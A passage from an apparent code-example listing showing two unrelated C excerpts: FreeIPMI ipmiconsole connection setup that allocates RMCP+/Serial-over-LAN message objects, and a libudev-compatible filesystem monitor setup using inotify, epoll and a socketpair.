      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }

  /* Pipe for non-fd communication */
  if (pipe (c->connection.asynccomm) < 0)
    {
      IPMICONSOLE_DEBUG (("pipe: %s", strerror (errno)));
      if (errno == EMFILE)
        ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_TOO_MANY_OPEN_FILES);
      else
        ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_SYSTEM_ERROR);
      goto cleanup;
    }

  if (ipmiconsole_set_closeonexec (c, c->connection.asynccomm[0]) < 0)
    {
      IPMICONSOLE_DEBUG (("closeonexec error"));
      goto cleanup;
    }

  if (ipmiconsole_set_closeonexec (c, c->connection.asynccomm[1]) < 0)
    {
      IPMICONSOLE_DEBUG (("closeonexec error"));
      goto cleanup;
    }

  /* Copy for API level */
  c->fds.asynccomm[0] = c->connection.asynccomm[0];
  c->fds.asynccomm[1] = c->connection.asynccomm[1];

  /* Fiid Objects */

  if (!(c->connection.obj_rmcp_hdr_rq = fiid_obj_create (tmpl_rmcp_hdr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rmcp_hdr_rs = fiid_obj_create (tmpl_rmcp_hdr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_lan_session_hdr_rq = fiid_obj_create (tmpl_lan_session_hdr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_lan_session_hdr_rs = fiid_obj_create (tmpl_lan_session_hdr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_lan_msg_hdr_rq = fiid_obj_create (tmpl_lan_msg_hdr_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_lan_msg_hdr_rs = fiid_obj_create (tmpl_lan_msg_hdr_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_lan_msg_trlr_rs = fiid_obj_create (tmpl_lan_msg_trlr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rmcpplus_session_hdr_rq = fiid_obj_create (tmpl_rmcpplus_session_hdr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rmcpplus_session_hdr_rs = fiid_obj_create (tmpl_rmcpplus_session_hdr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rmcpplus_payload_rs = fiid_obj_create (tmpl_rmcpplus_payload)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rmcpplus_session_trlr_rq = fiid_obj_create (tmpl_rmcpplus_session_trlr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rmcpplus_session_trlr_rs = fiid_obj_create (tmpl_rmcpplus_session_trlr)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_authentication_capabilities_rq = fiid_obj_create (tmpl_cmd_get_channel_authentication_capabilities_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_authentication_capabilities_rs = fiid_obj_create (tmpl_cmd_get_channel_authentication_capabilities_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_open_session_request = fiid_obj_create (tmpl_rmcpplus_open_session_request)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_open_session_response = fiid_obj_create (tmpl_rmcpplus_open_session_response)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rakp_message_1 = fiid_obj_create (tmpl_rmcpplus_rakp_message_1)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rakp_message_2 = fiid_obj_create (tmpl_rmcpplus_rakp_message_2)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rakp_message_3 = fiid_obj_create (tmpl_rmcpplus_rakp_message_3)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_rakp_message_4 = fiid_obj_create (tmpl_rmcpplus_rakp_message_4)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_set_session_privilege_level_rq = fiid_obj_create (tmpl_cmd_set_session_privilege_level_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_set_session_privilege_level_rs = fiid_obj_create (tmpl_cmd_set_session_privilege_level_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_get_channel_payload_support_rq = fiid_obj_create (tmpl_cmd_get_channel_payload_support_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_get_channel_payload_support_rs = fiid_obj_create (tmpl_cmd_get_channel_payload_support_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_get_payload_activation_status_rq = fiid_obj_create (tmpl_cmd_get_payload_activation_status_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_get_payload_activation_status_rs = fiid_obj_create (tmpl_cmd_get_payload_activation_status_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_activate_payload_rq = fiid_obj_create (tmpl_cmd_activate_payload_sol_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_activate_payload_rs = fiid_obj_create (tmpl_cmd_activate_payload_sol_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_sol_payload_data_rq = fiid_obj_create (tmpl_sol_payload_data_remote_console_to_bmc)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_sol_payload_data_rs = fiid_obj_create (tmpl_sol_payload_data_bmc_to_remote_console)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_get_channel_payload_version_rq = fiid_obj_create (tmpl_cmd_get_channel_payload_version_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_get_channel_payload_version_rs = fiid_obj_create (tmpl_cmd_get_channel_payload_version_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_deactivate_payload_rq = fiid_obj_create (tmpl_cmd_deactivate_payload_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_deactivate_payload_rs = fiid_obj_create (tmpl_cmd_deactivate_payload_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_close_session_rq = fiid_obj_create (tmpl_cmd_close_session_rq)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }
  if (!(c->connection.obj_close_session_rs = fiid_obj_create (tmpl_cmd_close_session_rs)))
    {
      IPMICONSOLE_CTX_DEBUG (c, ("fiid_obj_create: %s", strerror (errno)));
      ipmiconsole_ctx_set_errnum (c, IPMICONSOLE_ERR_OUT_OF_MEMORY);
      goto cleanup;
    }

  return (0);

 cleanup:
  /* Previously called here, but this is now supposed to be handled in API land */
  /* ipmiconsole_ctx_connection_cleanup(c) */
  /* _ipmiconsole_ctx_fds_cleanup(c); */
  /* _ipmiconsole_ctx_fds_setup(c); */
  return (-1);
}
Beispiel #30
0
// set up a filesystem monitor
// register pthread_atfork() handlers to ensure that its children 
// get their own filesystem monitor state.
// * set up /dev/events/libudev-$PID/
// * start watching /dev/events/libudev-$PID for new files
int udev_monitor_fs_setup( struct udev_monitor* monitor ) {
   
   int rc = 0;
   struct epoll_event ev;
   
   monitor->inotify_fd = -1;
   monitor->epoll_fd = -1;
   monitor->sock = -1;
   monitor->sock_fs = -1;
   monitor->slot = -1;
   
   int socket_fd[2] = { -1, -1 };
   
   memset( &monitor->events_dir, 0, PATH_MAX+1 );
   memset( &ev, 0, sizeof(struct epoll_event) );
   
   // make sure this monitor can't disappear on us
   udev_monitor_register( monitor );
   
   // set up inotify 
   monitor->inotify_fd = inotify_init1( IN_NONBLOCK | IN_CLOEXEC );
   if( monitor->inotify_fd < 0 ) {
      
      rc = -errno;
      log_error("inotify_init rc = %d", rc );
      
      udev_monitor_fs_shutdown( monitor );
      return rc;
   }
   
   // epoll descriptor unifying inotify and event counter
   monitor->epoll_fd = epoll_create1( EPOLL_CLOEXEC );
   if( monitor->epoll_fd < 0 ) {
      
      rc = -errno;
      log_error("epoll_create rc = %d", rc );
      
      udev_monitor_fs_shutdown( monitor );
      return rc;
   }
   
   // create our monitor directory /dev/events/libudev-$PID
   udev_monitor_fs_events_path( "", monitor->events_dir, monitor->slot );
   rc = mkdir( monitor->events_dir, 0700 );
   if( rc != 0 ) {
      
      rc = -errno;
      log_error("mkdir('%s') rc = %d", monitor->events_dir, rc );
      
      udev_monitor_fs_destroy( monitor );
      return rc;
   }
   
   // begin watching /dev/events/libudev-$PID
   monitor->events_wd = inotify_add_watch( monitor->inotify_fd, monitor->events_dir, UDEV_FS_WATCH_DIR_FLAGS );
   if( monitor->events_wd < 0 ) {
      
      rc = -errno;
      log_error("inotify_add_watch('%s') rc = %d", monitor->events_dir, rc );
      
      udev_monitor_fs_destroy( monitor );
      return rc;
   }
   
   // set up local socket pair with the parent process
   // needs to be a socket (not a pipe) since we're going to attach a BPF to it.
   rc = socketpair( AF_LOCAL, SOCK_RAW | SOCK_NONBLOCK | SOCK_CLOEXEC, 0, socket_fd );
   if( rc < 0 ) {
      
      rc = -errno;
      log_error("socketpair(AF_LOCAL, SOCK_RAW|SOCK_CLOEXEC, 0) rc = %d", rc );
      
      udev_monitor_fs_destroy( monitor );
      return rc;
   }
   
   monitor->sock = socket_fd[0];                // receiving end 
   monitor->sock_fs = socket_fd[1];             // sending end
   
   // unify inotify and sock behind epoll_fd, set to poll for reading
   ev.events = EPOLLIN;
   ev.data.fd = monitor->inotify_fd;
   rc = epoll_ctl( monitor->epoll_fd, EPOLL_CTL_ADD, monitor->inotify_fd, &ev );
   if( rc != 0 ) {
      
      rc = -errno;
      log_error("epoll_ctl(%d on inotify_fd %d) rc = %d", monitor->epoll_fd, monitor->inotify_fd, rc );
      
      udev_monitor_fs_shutdown( monitor );
      return rc;
   }
   
   ev.data.fd = monitor->sock;
   rc = epoll_ctl( monitor->epoll_fd, EPOLL_CTL_ADD, monitor->sock, &ev );
   if( rc != 0 ) {
      
      rc = -errno;
      log_error("epoll_ctl(%d on inotify_fd %d) rc = %d", monitor->sock, monitor->sock, rc );
      
      udev_monitor_fs_shutdown( monitor );
      return rc;
   }
   
   monitor->pid = getpid();
   
   return rc;
}